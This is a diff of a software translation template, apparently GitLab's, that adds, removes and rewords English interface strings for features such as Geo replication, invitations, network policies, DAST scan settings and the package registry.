-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11467,6 +11752,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11530,6 +11821,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11662,10 +11959,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11842,7 +12139,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11959,7 +12256,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12241,6 +12541,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12517,7 +12820,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12730,6 +13033,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12745,6 +13051,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12883,6 +13192,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13039,6 +13351,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -13192,6 +13510,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -13207,6 +13528,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13219,13 +13543,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13234,21 +13558,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -13261,6 +13588,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -13279,6 +13609,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13354,6 +13687,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13420,6 +13756,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13438,7 +13777,7 @@ msgstr[5] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13465,6 +13804,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13477,13 +13822,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13513,7 +13855,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13525,9 +13867,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13624,6 +13972,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13663,6 +14044,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13762,9 +14146,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13906,6 +14287,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13948,6 +14332,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13963,6 +14350,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -14251,7 +14641,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14485,7 +14875,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14608,10 +14998,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14638,6 +15028,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14701,9 +15094,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14719,9 +15109,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14779,6 +15166,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14800,6 +15190,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14851,7 +15244,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14902,6 +15295,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14917,6 +15316,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -15001,9 +15403,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -15115,9 +15514,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -15253,6 +15649,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -15262,9 +15667,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -15292,15 +15694,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -15316,6 +15718,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -15379,6 +15784,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15511,6 +15937,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15613,6 +16045,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15622,9 +16060,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15658,9 +16093,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15676,9 +16117,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15706,6 +16144,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15730,6 +16171,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15808,6 +16252,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15862,12 +16309,18 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -16033,6 +16486,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -16078,6 +16540,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -16267,12 +16732,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16282,6 +16780,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16294,6 +16795,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16312,12 +16816,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16342,9 +16852,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16357,9 +16873,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16756,12 +17317,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16849,18 +17416,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -17008,9 +17569,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -17050,9 +17608,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -17095,21 +17650,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -17119,25 +17680,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -17200,9 +17767,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -17221,6 +17785,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17236,9 +17803,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17359,18 +17932,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17404,9 +17971,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17491,6 +18055,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17506,6 +18076,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17524,9 +18097,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17563,27 +18133,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17632,13 +18193,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17782,7 +18349,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18286,6 +18853,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
